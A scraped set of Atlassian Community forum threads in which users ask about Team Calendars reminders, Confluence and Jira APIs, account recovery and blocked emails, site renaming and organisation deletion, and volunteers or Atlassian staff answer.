{ "author": "Trutz Hock", "title": "Setting reminders and notifications", "body": "In team calendars you cannot set a reminder for any entry into the calendar (like remind me 15min before the event). Is there any way to accomplish that? \nAlso, it would be great to have personalized reminders, and not just to everyone who is attached to the calendar. We organizing several Teams through one calendar and obviously not everybody wants to be notified of some other teams events.\n" }

[ { "author": "Marc - Devoteam", "body": "Hi [@Trutz Hock](/t5/user/viewprofilepage/user-id/5375366)\n\nWelcome to the community.\n\nYou are able to set reminders on event types in the calendar.\n\nThe reminders will be set for all entries based on that event.\n\nPersonal reminders are not able to set by default, a work around could be to create an event type for every user, then that event type can have its own reminder set.\n", "comments": null } ]

[ "server" ]

{ "author": "David Horne", "title": "is it possible to set reminder longer than 4 weeks out?", "body": "Hi team,\n\n<br />\n\nWe are using Confluence Calendars to manage some long term tasks, license renewals.\n\nA user wants to set a reminder for people 6 months and then 3 months out for different stages, I can only see a reminder for an event to be set to 4 weeks out, can this be done further out?\n\nRegards\n\n<br />\n\nDave\n" }

[ { "author": "Brant Schroeder", "body": "[@David Horne](/t5/user/viewprofilepage/user-id/5299064) There is no way to change or customize this. 4 weeks is the maximum amount of time you can place a reminder on.\n", "comments": [ { "author": "Brant Schroeder", "body": "[@David Horne](/t5/user/viewprofilepage/user-id/5299064) can you accept the answer to help others?\n" } ] } ]

[ "server" ]

{ "author": "Stephen Wiltshire", "title": "API to update or delete Team Calendar entry", "body": "Per the other posts in this community I am able to now query Team Calendars and also add new entries. However I have not been able to figure out the API for removing or updating an existing entry, is this possible?\n" }

[ { "author": "Stephen Wiltshire", "body": "Thanks I was actually able to figure this out myself by using Developer tools in Chrome to inspect the PUT when changing an event in the GUI. The key parameter is the uid value passed when querying the events.\n", "comments": null }, { "author": "Marko Blagus", "body": "Hello Stephen,\n\nThere is no official REST API for Team Calendar events and there is an open suggestion to add the feature.\n\nCheck the article here:\n\n<https://confluence.atlassian.com/confkb/rest-api-to-create-team-calendar-s-events-1064090314.html>\n\nCheck the suggestion here:\n\n[https://jira.atlassian.com/browse/CONFCLOUD-51696](https://jira.atlassian.com/browse/CONFSERVER-51696)\n\nBest regards,\n\nMarko Blagus\n", "comments": null } ]

[ "server" ]

{ "author": "Kristina Setkova", "title": "How to delete calendar from \"Calendar for Jira ? Timeline Roadmaps Cloud app\" in jira?", "body": "Hi everyone. I have Calendar for Jira --- Timeline Roadmaps Cloud app, and I want to delete one calendar, but nobody have a permission to do it. is there any possibility to delete it?\n\nAlso, I'm looking for answer how i can delete existing calendar. I can not find any button for it\n\n![???.jpg](https://community.atlassian.com/t5/image/serverpage/image-id/279563i34677FE5BE50BD0A/image-size/large?v=v2&px=999 \"???.jpg\")![cal.jpg](https://community.atlassian.com/t5/image/serverpage/image-id/279564iCFFECA24C7EEEDE4/image-size/large?v=v2&px=999 \"cal.jpg\")\n" }

[ { "author": "Marc - Devoteam", "body": "Hi [@Kristina Setkova](/t5/user/viewprofilepage/user-id/5312026)\n\nWel ome to the community.\n\nThe message states that information incorporated in the Calendar is from Jira project you don't ave access to.\n\nPlease refer your Jira admin, to provide you the rights or that the admin can remove the calendar for you.\n", "comments": null } ]

[ "unknown-hosting-type" ]

{ "author": "jules24", "title": "Is it possible to automatically update a date in confluence?", "body": "Hi everyone,\n\nI am looking for a solution to automatically update dates on a confluence page.\n\nWe are protocoling our dailies and I normally copy the template of the week but still I have to update the dates (e.g. Tuesday, 05.09.23) manually. It does not take me long but I was wondering whether there exists a macro that does it automatically.\n\nAny thoughts or suggestions would be appreciated :)\n\nThanks in advance!\n" }

[ { "author": "Teodora V", "body": "Hi [@jules24](/t5/user/viewprofilepage/user-id/5194947)\n\nI doubt there is an automated solution to this use case. I have a similar approach to our recurring meetings, and my solution so far is adding the date either at the title (when creating the page) or having it only in one place so it's quicker :)\n\nFor bulk changes I've used this app in the past: [https://marketplace.atlassian.com/apps/284/confluence-command-line-interface-cli?tab=overview\\&hosting=cloud](https://marketplace.atlassian.com/apps/284/confluence-command-line-interface-cli?tab=overview&hosting=cloud)\n\nBut I doubt a change of a few dates is worth setting up an entire app.\n", "comments": [ { "author": "jules24", "body": "Hi Teodora,\n\nthank you for your message and your suggestions! The app looks cool but unfortunately we are working in a client environment so probably even if there was a fitting macro, it would be challenging to get it or the app..\n\nHave a great day!\n" } ] } ]

[ "documentation", "macro", "server" ]

{ "author": "Tuesday Kuykendall", "title": "I subscribed and somehow everything on my outlook calendar was added to the team calendar", "body": "I wanted to subscribe to our team calendar just so I could view PTO and holidays. I followed the directions for doing this on a windows computer with outlook. After following all the directions (including downloading CalDav) I did the 'test' which worked. Ironically, I can't see the team calendar in my outlook but everything on my outlook calendar showed up on the team calendar and sent 80+ notifications to everyone in the company. How do I roll this back?\n" }

[ { "author": "Benjamin", "body": "HI [@Tuesday Kuykendall](/t5/user/viewprofilepage/user-id/5306400)\n\nHere's the documentation.\n\n<https://support.atlassian.com/confluence-cloud/docs/subscribe-to-team-calendars-from-microsoft-outlook/>\n\nProbably the quickest way is to remove the profile.\n\nHope this helps.\n", "comments": [ { "author": "Tuesday Kuykendall", "body": "Thanks - yes, those are the instructions I originally followed. I suspect it has something to do with two vs one way server connection. Anyway - I uninstalled CalDav and decided it wouldn't kill me to just periodically check the team calendar! It seems to have worked.\n" }, { "author": "Benjamin", "body": "Awesome. That's great to hear.\n" } ] } ]

[ "unknown-hosting-type" ]

{ "author": "Trung Tran", "title": "No longer see Team Calendars for Confluence in Atlassian MarketPlace", "body": "We're just migrated to Confluence 7.19.12 LTS recently, and I'm trying to download Team Calendars (Premium paid version) but do not see it in MarketPlace. Please help.\n" }

[ { "author": "Brant Schroeder", "body": "[@Trung Tran](/t5/user/viewprofilepage/user-id/4089757) In 7.11 Atlassian added this as part of Confluence Data Center and I was only able to find this version history on the marketplace <https://marketplace.atlassian.com/apps/72307/team-calendars-for-confluence/version-history> Which makes me think it is the same for server.\n", "comments": [ { "author": "Trung Tran", "body": "Brant, thank you for the response.\n\nI downloaded the Team Calendars 7.0.17 for Data Center and installed but it said '**Incompatiable** ' with my confluence**Server -7.19.12** LTS software. The MarketPlace does not show any version of Team Calendars for Confluence Server 7.12 and after.\n" }, { "author": "Brant Schroeder", "body": "What version were you previously on before upgrading your server instance?\n" }, { "author": "Trung Tran", "body": "It was migrated from Confluence Server 7.13.x with active license for Team Calendars good until February 2024.\n" }, { "author": "Brant Schroeder", "body": "Migrated or upgraded? I do not have a server instance available to me to look at anymore but in data center the team calendar feature is now bundled. You should submit a support issue to Atlassian since you still have a support until feb 2024 to see how to handle the issue.\n" } ] } ]

[ "confluence", "confluence-server", "server" ]

{ "author": "yoges manokaran", "title": "Error while using Team calendar in confluence", "body": "Hi\n\nI'm getting error while using Team calendar in confluence.\n\nPlease assist to check and advise\n\n**Error(s) occurred.**\n\n* names do not exist: (AO_950DC3_TC_REMINDER_USERS, )\n" }

[ { "author": "Kurt Klinner", "body": "[@yoges manokaran](/t5/user/viewprofilepage/user-id/5292526)\n\nWelcome to the Atlassian community.\n\nCan you (or your database administrator) verify if the table AO_950DC3_TC_REMINDER_USERS exists in your system?\n\nThere is a KB article available describing issues (also listing that table) after migrating from mysql to postgres\n\n<https://confluence.atlassian.com/confkb/missing-team-calendar-after-migrating-the-database-from-mysql-to-postgres-815262438.html>\n\nCheers\n\nKurt\n", "comments": null } ]

[ "server" ]

{ "author": "Customer Service", "title": "My Atlassian Account Was Deleted but I am still being billed", "body": "My Atlassian account, the one that receives my monthly Trello billing statement, was deleted a while back. I am still being billed every month. If Atlassian has deleted my account, how am I to use it? Getting customer support on this platform is truly a frustrating experience. It asks me to login to create a support ticket, however I cannot login because Atlassian deleted my account. Has anyone else had this same issue and if so, were you able to resolve it?\n" }

[ { "author": "Kieren _SmolSoftware_", "body": "[@Customer Service](/t5/user/viewprofilepage/user-id/5600736) Atlassian billing is tied to products, not accounts. So if you closed your account, but not the product, then the product will still be active and billed for.\n\nI'm guessing there's someone that is still using the Trello product? If so the easiest option is to contact an admin who still has access to the product and get them to change the billing details to another credit card.\n\nOtherwise, you'll need to create a new Atlassian account, to contact support, to get the Trello product turned off. And you'll need to provide some evidence of ownership of the Trello product.\n\nLast option is to get your bank/credit card to block the charges.\n\nHope that helps\n\n-Kieren\n\nCo-founder @ Admin Automations \\| Ex-Atlassian\n", "comments": null } ]

{ "author": "Dario", "title": "How to Reuse Automation Rules Across Projects in Jira?", "body": "Hello,\n\nIs there a way in Jira to avoid creating automations for every new project? \nIs there an automation scheme, similar to workflows or issue types?\n\nThank you!\n" }

[ { "author": "Susan Waldrip", "body": "Hi [@Dario](/t5/user/viewprofilepage/user-id/2638184) , welcome to the Community!\n\nIf I understand your question right, when you are working in Global Automation (as a Jira admin), you can specify the scope of that rule. Getting to Global Automation is Settings (gear) \\> System \\> AUTOMATION: Global Automation.\n\nFor example, Automation A can be applied to a single project (which is what it sounds like you're talking about?), multiple projects in your site that you select, by a type of project such as Business Project or Scrum, or Globally where Automation A will run on ALL projects.\n\n![help14.jpg](https://community.atlassian.com/t5/image/serverpage/image-id/348429i8108C9D23124A781/image-size/large?v=v2&px=999 \"help14.jpg\")\n\nIs that what you're looking for?\n", "comments": [ { "author": "Dario", "body": "Hi [@Susan Waldrip](/t5/user/viewprofilepage/user-id/5343063) ,\n\nThank you, that's exactly what I was looking for!\n\nJira is such a vast platform that, even though I've been working with it since 2016, sometimes you still need someone to guide you along the way. ?\n\nThanks again!\n\nBest regards,\n" } ] }, { "author": "Valerie Knapp", "body": "Hi [@Dario](/t5/user/viewprofilepage/user-id/2638184) , thanks for your question.\n\nThe answer in this moment is unfortunately no. You can have obviously rules that have mulitple projects or the whole instance in their scope. I understand, however, that these count differently in terms of the instance consumption of automation.\n\nHow many rules do you have per project? Is there potential to create some of them as global rules and then you would only need to replicate a smaller number to propogate to new projects.\n", "comments": [ { "author": "Dario", "body": "Thanks [@Valerie Knapp](/t5/user/viewprofilepage/user-id/4929946)\n" } ] } ]

[ "jira-automation" ]

{ "author": "james", "title": "Having difficulty accessing careers portal", "body": "Hi, \n\nI am unable to receive the password recovery email for the email address I used to sign up to the careers portal. \n\nI've checked spam. Cleared cache, checked cookies. \n\nI've tried across Chrome, Safari \\& Firefox browsers. \n\nAnd I've verified that I am using the correct email I applied with (based on the confirmation emails I received after applying). \n\nEven when I tried signing up to test that my email account is active, I am getting the error:\n\nWe are having trouble verifying reCAPTCHA for this request. Please try again. If the problem persists, try another browser/device or reach out to Atlassian Support. \n\nCan someone assist me here? \n\nThank you!\n" }

[ { "author": "Andy Heinzer", "body": "Hi [@james](/t5/user/viewprofilepage/user-id/5590441)\n\nI understand that you are trying to login to the career portal, but are unable to do so, and unable to get email to recover that account. Could you confirm the URL of the page where you are trying to sign in?\n\nAlso I'd want to confirm the email address of your account. Is this the same email that you used to login here to Community? Or if this is different, could you let me know that email address or that Atlassian Account Id.\n\nWhile we do operate a suppression list for our Cloud services, I did not find any suppression on your current account used here in Community. So it might be there is a different email account in play and it also might be that our vendor for careers might be using another system as well.\n", "comments": null }, { "author": "Valerie Knapp", "body": "Hi [@james](/t5/user/viewprofilepage/user-id/5590441) , welcome to the Atlassian Community and thanks for your question.\n\nI'm going to tag the Atlassian support team into this post as I think they will need to help you with this.\n\nCheers\n", "comments": null } ]

{ "author": "Kenny Gunawan", "title": "Legitimacy of Job Offer", "body": "Hi Atlassians,\n\nI recently contacted by Caitlyn See who stated herself as the Human Resource Manager at Atlassian. She is using email address jobs@atlassiancareers.com.au\n\nCan i confirm if this job offer is real and is she indeed working at Atlassian?\n\nI saw somebody else also getting same email from her, so i am wondering whether it is real or scam.\n\nBest regards,\n\nKenny\n" }

[ { "author": "Peter Van de Voorde", "body": "Hi [@Kenny Gunawan](/t5/user/viewprofilepage/user-id/5589831) , \n\nWelcome to the Atlassian Community. \n\nUnfortunately that offer is a scam as all Atlassians have an email address using @atlassian.com \n\nHere is a list of the current open positions: <https://www.atlassian.com/company/careers> \n\nCheers, \nPeter\n", "comments": [ { "author": "Andy Heinzer", "body": "I can confirm there is no one by that name that works for Atlassian. Peter is correct, Atlassian will only use the atlassian.com domain for official communications. I suspect that domain is being used to try to impersonate Atlassian. Sounds like a scam.\n" } ] } ]

{ "author": "JIRA SISTEMAS", "title": "recovery my account", "body": "Dear\n\nAs I try to log in JIRA Service Management, the system require a 2nd step validation.\n\nI dont have a emergency code and required to Atlassian send me a e-mail to recover. The problem is that this email does not come to my e-mail. I believe that its blocked from Atlassian side.\n\nI need that someone from Atlassian Team check if the e-mail was really sent and in my domain its not blocked @mgwconsultoria.com.br\n\nat this point i can not access JIRA and it cause a damage for my business because Im a admin of account of MGWCONSULTORIA\n" }

[ { "author": "Hector Menchaca", "body": "Hello [@JIRA SISTEMAS](/t5/user/viewprofilepage/user-id/5583370)\n\nWelcome to the Atlassian Community!\n\nI have deleted the whole \"mgwconsultoria.com.br\" from our suppression list, can you check again?\n\nBest Regards,\n\nThanks!\n", "comments": null } ]

{ "author": "Vi Da", "title": "Change Site URL", "body": "Hello,\n\nour company has two Atlassian instances: f*or example ABC.atlassian.net and DEF.atlassian.net*\n\nWe have used ABC as our main instance for several years with a lot of Jira projects and Confluence pages. Now we have **rebranded** back to DEF (this atlassian instance was not used in the past).\n\n**So actually we just want to change the product site URL from ABC to DEF, and keep ABC (as described [here](https://support.atlassian.com/organization-administration/docs/update-a-product-url/) and [here](https://support.atlassian.com/organization-administration/docs/can-i-change-the-url-used-to-access-a-product/)). But this is not possible since the site URL is already taken by us:**\n\n**![Screenshot 2024-09-04 111430.png](https://community.atlassian.com/t5/image/serverpage/image-id/345478iB84B50E8091AA9E8/image-size/large?v=v2&px=999 \"Screenshot 2024-09-04 111430.png\")**\n\nCan I delete the DEF instance so the name becomes available and then rename ABC to DEF? \nOr should I export/import all content from ABC to DEF?\n\nWhat do you think would be the best approach in this case? THANK YOU.\n" }

[ { "author": "Kieren _SmolSoftware_", "body": "Hi [@Vi Da](/t5/user/viewprofilepage/user-id/5458890)\n\nRenaming the site will be FAR easier than exporting/importing it.\n\nIf you delete the DEF instance, it will take (from memory) 90 days before the name is available again. You can speed this up by contacting Atlassian Support, they do have the ability to free up the instance name sooner, I think they can cut it down to a week or two.\n\nAlso you could consider renaming the instance to something that's not related to your company/department/team name. Something that doesn't matter what you might be rebranded to in the future... As you've noted above, you only get 3 renames per instance, naming the instance something else would avoid this issue all together in the future.\n\nI see **vi-da.atlassian.net** is available! ?\n\nHope that helps\n\n-Kieren \nCo-Founder @ Admin Automations \\| Ex-Atlassian\n", "comments": [ { "author": "Vi Da", "body": "Thank you for your quick response and your suggestions! Will contact the Atlassian Support and ask if they can speed this up ?\n\n<br />\n\nI like vi-da.atlassian.net! Unfortunately it's not my own decision but the team's, but I'll keep that in mind for the future ?\n" } ] }, { "author": "Rilwan Ahmed", "body": "Hi [@Vi Da](/t5/user/viewprofilepage/user-id/5458890) ,\n\nWelcome the community !!\n\nIf the instance in small in size and with little spaces, then do the export/import of each spaces.\n\nIf not, contact Atlassian support for their help/suggestion in <https://support.atlassian.com/contact/#/>\n\nPlease note: there will be permission issues if the users are different in both the instances.\n\nYou can also refer the Atlassian guide for some more details: <https://support.atlassian.com/confluence-cloud/docs/merge-multiple-confluence-cloud-sites/>\n", "comments": [ { "author": "Vi Da", "body": "Thank you for your fast response!\n" } ] } ]

{ "author": "Pears Whims", "title": "Request for Expedited Approval to Join Atlassian Authors Group", "body": "Hi Atlassian Community Leaders,\n\nI recently applied to join the Atlassian Authors group on August 29th, but I'm still waiting for approval. I'm planning to launch an app soon and intend to publish several articles to engage with the community and promote it effectively.\n\nI've read that approval might require community engagement.\n\n* First article mentioned reaching Level 5,\n* later requirements become steeper and require attaining a \"Rising Star\" status, but it's unclear to me how to achieve this quickly.\n\nI did tried to email Bridget, as in article - yet her account is inactive: \n<https://community.atlassian.com/t5/Announcement-articles/Become-an-Atlassian-Author/ba-p/1001925>\n\nMy situation currently causing delays in sharing content with the community and further delays launching my app\n\nIf there's any way to expedite my approval, I would greatly appreciate the help. I'm eager to contribute valuable articles and connect with the Atlassian audience.\n\nThank you so much for your support!\n\nBest regards, \nPears\n" }

[ { "author": "Pears Whims", "body": "I wanted to provide an update on my original question for those in a similar situation.\n\nAs of now:\n\n* I haven't received any direct feedback from the admins regarding expedited approval, but ongoing community contributions appear to be important.\n* I was able to achieve **Rising Star** status, which seems to be a prerequisite for joining the **Atlassian Authors** group.\n* Having at least **five accepted answers** seems to be a key factor in receiving this status.\n\nI'm now looking forward to joining the Authors group and continuing to contribute more to the community!\n\nBest of luck, \nPears.\n", "comments": null } ]

[ "account", "approval", "article", "atlassian-authors", "author", "group" ]

{ "author": "Oliver Sapient", "title": "Can we Authenticate Atlassian Products like confluence, jira, bitbucket with AWS Cognito as an IDP?", "body": "We are considering purchasing Atlassian Products for our \"X\" client. I believe there are two versions of Atlassian products mentioned below:\n\n1. Cloud\n2. Data Centre (Self managed and hosted)\n\nAll our users are currently sitting in AWS Cognito's User Pool. We would like to authenticate our Bitbucket, Confluence and Jira using AWS Cognito as our primary Identity Provider using OIDC i.e. local Cognito login not the federated login that takes the users to another IDP.\n\nWe would like to do this without a plugin from Atlassian Marketplace like mini-orange and\n\nkantega. We are even considering implementing our own Marketplace tool.\n\nIs this possible? I believe the Cloud and Data Center support for AWS Cognito differs. Which version of Atlassian products support the best integration with AWS Cognito.\n" }

[ { "author": "Kristian Klima", "body": "Hi [@Oliver Sapient](/t5/user/viewprofilepage/user-id/5582162) and welcome to the community.\n\nSSO is supported across Atlassian Cloud with Atlassian Guard.\n\n<https://www.atlassian.com/software/guard>\n\nCheck if the tool supports your IDP.\n", "comments": null } ]

[ "authentication", "aws-cognito", "oidc" ]

{ "author": "Norman M?hler", "title": "I do not receive any emails from atlassian", "body": "Hello,\n\nI have got an identical problem as [stated here](https://community.atlassian.com/t5/Atlassian-Account-questions/e-mail-not-received/qaq-p/1753217) with my private account and the domain norman-web.de\n\nThe ID-Service says I have to upgrade to atlassian ID and verify my mail address, but that is not possible, because I do not get any mails to the mail address of the account.\n\nMy mail address was not working for a time and it seems the Atlassian mail server set it on a skip-list.\n\nIf someone could be so kind to help, that would be very much appreciated!\n" }

[ { "author": "Tuncay Senturk", "body": "Hi [@Norman M?hler](/t5/user/viewprofilepage/user-id/5579098)\n\nWelcome to the Community!\n\nThat's hard to guess and I'm sure you'd already tried but I'd do is to check your email server and spam filters (ensuring that the emails aren't being filtered out, adding Atlassian's email addresses to your contacts to avoid being marked as spam)\n\nIf this does not work or you already tried reach out to Atlassian Support. Since you're unable to receive the verification email, you'll need to contact [Atlassian Support](https://support.atlassian.com/contact/) directly.\n\nYou can do this by submitting a support ticket on the [Atlassian Support website](https://support.atlassian.com/contact/).\n", "comments": [ { "author": "Norman M?hler", "body": "Hi [@Tuncay Senturk](/t5/user/viewprofilepage/user-id/181272)\n\nthank you for your answer.\n\nI already checked and tried your suggestions concerning receiving mails.\n\nTo reach out to Atlassian support I need to have an account with that I can log in into, but I do not get any mails to update the account I would have to log in with, so I cannot contact support.\n\nI tried to do so with this account as well, but the support forms only direct me here to the community. It seems this is not a support case I can get in contact with Atlassian about. All other support cases need a URL for an instance of one of the products, but not Trello.\n\nIs there another way to contact support?\n\nThanks in advance!\n" } ] } ]

{ "author": "John Harries", "title": "Organization API failed due to new user management experience", "body": "Hi,\n\nI have issue while accessing\n\nPOST URL: [https://api.atlassian.com/admin/v1/orgs/\\[my-org-id\\]/users/search](https://api.atlassian.com/admin/v1/orgs/[my-org-id]/users/search)\n\nRequest Body:\n\n{ \"emailDomains\": { \"contains\": \"mydomain.com\" } }\n\nRequest Header:\n\n* content-type: application/json\n* accept: application/json\n* authorization: Bearer \\[org-api-token\\]\n* content-length: 58\n\nresponse is 400 Bad Request with payload as following:\n\n{ \"errors\": \\[ { \"code\": \"ADMIN-400-4\", \"status\": \"400\", \"title\": \"INVALID_PARAM\", \"detail\": \"Organization: \\[my-org-id\\] is not with the new user management experience\" } \\] }\n\nquestions and additional info:\n\n* What is the root cause for this issue? and how do I solve this issue?\n* I'm an Org Admin recently\n\nThanks,\n\nJohn\n" }

[ { "author": "Kieren _SmolSoftware_", "body": "In addition to what [@Richard White _TechTime_](/t5/user/viewprofilepage/user-id/2235039) has said; the most likely reason you're not on the new user management experience is you have multiple sites in your organization and you either have SCIM and/or use some group features in Jira that aren't supported by group rename.\n\nRichard makes a good point about the differences between the two experiences, and the lost org merge functionality in the new experience. From memory group renaming is also available on the new experience, not sure if it's available on the old experience...\n\nEither way, it's best you reach out to Atlassian Support to discuss the details around why your specific org isn't on the new experience and what it would take to get you onto the new experience.\n", "comments": null }, { "author": "Richard White _TechTime_", "body": "Hi John,\n\nThat particular user search API is only available if your organisation is using the \"New user management experience\" - see docs here: <https://developer.atlassian.com/cloud/admin/organization/rest/api-group-users/#api-v1-orgs-orgid-users-search-post>\n\nThere is the get managed users endpoint - which works on old user management experience, but is much slower and can only select managed users.\n\nThe main reason not to switch to new user management experience is if you may need to merge organisations in the future where there are multiple sites (not possible in new experience) - <https://support.atlassian.com/organization-administration/docs/should-i-merge-my-atlassian-organizations/> \n\nThere are a number of other small UI and technical differences between the experiences.\n\nIf you don't want to change experiences - I highly recommend get in touch with Atlassian support. The more voices showing that these API's are required for organisations using the old experience, the better.\n", "comments": [ { "author": "John Harries", "body": "Thanks [@Richard White _TechTime_](/t5/user/viewprofilepage/user-id/2235039) ,\n\nAppreciate to your brief explanation, I will submit ticket to atlassian support regarding this issue.\n" } ] } ]

[ "organization", "rest-api", "user-management" ]

{ "author": "Attica", "title": "No access", "body": "e---------@gmail.com does not have access to Jira on requiem.atlassian.net. I just registered and I don't understand why there is such an entry. The game advises me to go to this site, but I can't.\n" }

[ { "author": "Attica", "body": "I'm so sorry, I completely forgot to say hello.\n\nHi! )))\n\nI'm just very upset that I can't find a solution to my problem.\n", "comments": null } ]

{ "author": "not174282", "title": "Necesito ayuda para poder usar mi tablet porfa", "body": "#### No tengo mi cuenta Google con la que usaba mi tablet y se restablecio de f?brica y ahora no puedo verificar mi cuenta Google me pueden ayudar porfa {#toc-hId-352225952}\n" }

[ { "author": "Valerie Knapp", "body": "Hola [@not174282](/t5/user/viewprofilepage/user-id/5574252) , Gracias por tu pregunta. \nPor favor, utiliza este enlace para abrir un ticket de soporte. Atlassian tendr? que ayudarte a resolverlo. <https://support.atlassian.com/trello/> \nSuerte\n", "comments": null } ]

[ "cloud", "trello" ]

{ "author": "Alex Hashemi", "title": "Change my email", "body": "Hello, \nI've been trying to change my email address in my Atlassian account. However, I don't receive any verification email on the new email address.\n" }

[ { "author": "Tansu Akdeniz", "body": "Hi [@Alex Hashemi](/t5/user/viewprofilepage/user-id/5569334)\n\nWelcome to the community.\n\nI believe you followed the steps mentioned [here](https://confluence.atlassian.com/cloudkb/change-atlassian-account-email-addresses-969508513.html).\n\nIf you don't get verification email, please check your spam folder and be sure that emails coming from Atlassian are not somehow filtered. If problem still persists, you contact Atlassian support via <https://support.atlassian.com/>.\n", "comments": [ { "author": "Alex Hashemi", "body": "Thanks. Already checked my spam and all good. So I'll reach out to the support. Thanks for your response\n" } ] } ]

{ "author": "Jack Horley", "title": "Lost access to my own organisation", "body": "I made an organisation for myself to use personally a while back but have since completely lost access to it.\n\nI made a new organisation that I still have access to for a project but can't access the projects of my personal org.\n\nHowever I can still see it in my admin console at the top in the dropdown.\n\nAny thoughts on what could have happened and how I can get access back?\n" }

[ { "author": "Shannon S", "body": "Hi Jack,\n\nWelcome to Atlassian Community! Thanks for reaching out. I'm Shannon, with the Atlassian Cloud support team. I'm happy to help you with this issue.\n\nYou mentioned you aren't able to access your former organization. I checked your account, and you have two organizations associated with your email address, but neither of them have any Cloud products listed. You can see your organizations by logging into <https://admin.atlassian.com>\n\nWhen you say you can't access the projects, are you referring to Jira projects, or is there a specific Cloud site you're looking for? Please elaborate on what you're trying to do, and I can help you.\n\nI look forward to your response!\n\n**Shannon S \\| Atlassian Cloud Support**\n", "comments": [ { "author": "Jack Horley", "body": "I can access the community project just fine because from my end I have Jira and Jira administration attached to my community organisation.\n\nThe main issue is my personal project, I don't see any cloud products listed on my personal organisation and I can't see an option to add any either.\n" }, { "author": "Shannon S", "body": "Hi Jack,\n\nI'm going to create a support ticket to better assist you. Please keep an eye out for the email!\n\nTake care, and speak to you soon.\n\n**Shannon S \\| Atlassian Cloud Support**\n" } ] } ]

[ "access", "organization", "project" ]

{ "author": "Naomi Carrigan", "title": "Account was mysteriously deactivated", "body": "Using my work account to write this post, because my personal account is \"inactive\"??? \n\nSo, I had signed up for Jira under my personal account. Subscribed to the standard plan. Was all excited to start using it, then realised I had a trello subscription to cancel. \n\nCancelled that trello subscription, and now my entire atlassian account is \"inactive\"? \n\n![image.png](/t5/image/serverpage/image-id/341592iF279C22E68196122/image-size/large?v=v2&px=999 \"image.png\") \n\nThis screen pops up on every single login flow. I never received an email as to why, and my personal account isn't tied to an organisation?\n" }

[ { "author": "Andy Heinzer", "body": "Hi [@Naomi Carrigan](/t5/user/viewprofilepage/user-id/5567711)\n\nI understand that your account has been deactivated. Could you please let me know the email address or the Atlassian Account Id of that account? With that information perhaps I can lookup the account to learn more as to why it was deactivated.\n\nAndy\n", "comments": null } ]

{ "author": "maira zarate", "title": "Jira api token rotation", "body": "what we need to be able to do is rotate, or create new, revoke old API keys for the Attlassian admin for our account <https://admin.atlassian.com/> Settings-\\>API keys which we use to create issues automatically. We need to rotate that key every 90 days and would like to be able to do so in an automated fashion. If you have any pointers they would be greatly appreciated.\n" }

[ { "author": "Pradeep Singh (IT)", "body": "+1 Any updates on this ask ? With increased focus on security, I would hope this to be prioriized as a feature ask\n", "comments": null } ]

{ "author": "vignesh s", "title": "Hi,I cant able to find my Community profile id, Kindly guide me or support to get it", "body": "![Screenshot 2024-08-12 101924.png](/t5/image/serverpage/image-id/341138iE68257A239EB1429/image-size/large?v=v2&px=999 \"Screenshot 2024-08-12 101924.png\")\n" }

[ { "author": "Ravina", "body": "Hi [@vignesh s](/t5/user/viewprofilepage/user-id/5488378) Welcome to the Atlassian community,\n\nIf you go to your profile from the right side of your user profile link then last 7 digit number is your community id and in your case it is - 5488378\n\n<https://community.atlassian.com/t5/user/viewprofilepage/user-id/5488378>\n\nlet me know if this is what you looking for or something else\n", "comments": [ { "author": "vignesh s", "body": "Thank you Ravina, I got it now and \nHave a fantastic day and your kind and fast support is awesome \n\nGreat and fast response I got today as soon as possible thank you\n" } ] } ]

{ "author": "Malibongwe", "title": "Password reset email not being received", "body": "Hello, I am having trouble accessing my atlassian account. when I first signed up our email server was having issues so I did not receive the verification email. The mail server is working now but when I try to send a password reset email it still isn't received\n" }

[ { "author": "Andy Heinzer", "body": "Hi [@Malibongwe](/t5/user/viewprofilepage/user-id/5565463)\n\nI did not locate any suppressions on your domain, but I have attempted to clear this from our side anyways. Could you try this again? If it's still not working please let me know the email address or Atlassian Account Id of the account in questions and I can investigate this further.\n\nAndy\n", "comments": [ { "author": "Malibongwe", "body": "It's still not working, the email address of the account is \\[redacted\\]\n" }, { "author": "Andy Heinzer", "body": "Ah, thanks, Yes there was a suppression on that account.\n\nSeems there was a bounce message back from last week:\n\n|--------------------------|------------------------|\n| 2024-08-05T15:56:28.000Z | 550 Unroutable address |\n\nI have cleared this for that account and all others on that domain just now.\n" }, { "author": "Malibongwe", "body": "Thank you!, it's working now\n" } ] } ]

[ "password-reset" ]

{ "author": "Mani Chaitanya", "title": "Kudos points for participating in Atlassian Community Events", "body": "Few weeks back I was reading about by joining Atlassian Community Events some Kudos points would be awarded starting August'24. Is this true??\n" }

[ { "author": "Hans Polder", "body": "Hi [@Mani Chaitanya](/t5/user/viewprofilepage/user-id/5345807) ,\n\nThat is already the case! I think you might be confused with another post about the extension of your Atlassian Certifications, where since recently you can apply your ACE attendances since February this year for certain 'Certification Extension' points to renew your certifications. If you don't have those, don't worry about it :)\n\n![Screenshot 2024-08-09 064318.png](https://community.atlassian.com/t5/image/serverpage/image-id/340883i03E4E36C04DD63E2/image-size/large?v=v2&px=999 \"Screenshot 2024-08-09 064318.png\")\n", "comments": null } ]

{ "author": "Olivier Parent Colombel", "title": "Impossible to delete an organization", "body": "Hello,\n\nI would like to delete an organization I created which had a free license of confluence cloud.\n\nI'm getting the error \"*Your organization has products that you need to remove before deleting it. If you've recently removed the products, retry in a minute.\"* when trying to delete the organization: \n\n![Screenshot from 2024-08-08 08-36-59.png](https://community.atlassian.com/t5/image/serverpage/image-id/340660iBDC8C03B57DCE8EE/image-size/large?v=v2&px=999 \"Screenshot from 2024-08-08 08-36-59.png\")\n\nEven if our free Confluence cloud subscription was stopped:\n\n![products.png](https://community.atlassian.com/t5/image/serverpage/image-id/340659iA916915CFC6841A0/image-size/large?v=v2&px=999 \"products.png\")\n\nThanks,\n" }

[ { "author": "Olivier Parent Colombel", "body": "I believe the error message is misleading, according to <https://support.atlassian.com/organization-administration/docs/remove-domains-and-products-from-your-organization/> it can take several weeks before a product is fully deactivated\n\n*\"Removing products from your organization can take several weeks. To reduce the risk of accidental data loss, products aren't fully deactivated until 14 days after the date the cancellation takes effect. This is usually the renewal date for monthly subscriptions or the date communicated to you by our team for annual subscriptions.\"*\n", "comments": null } ]

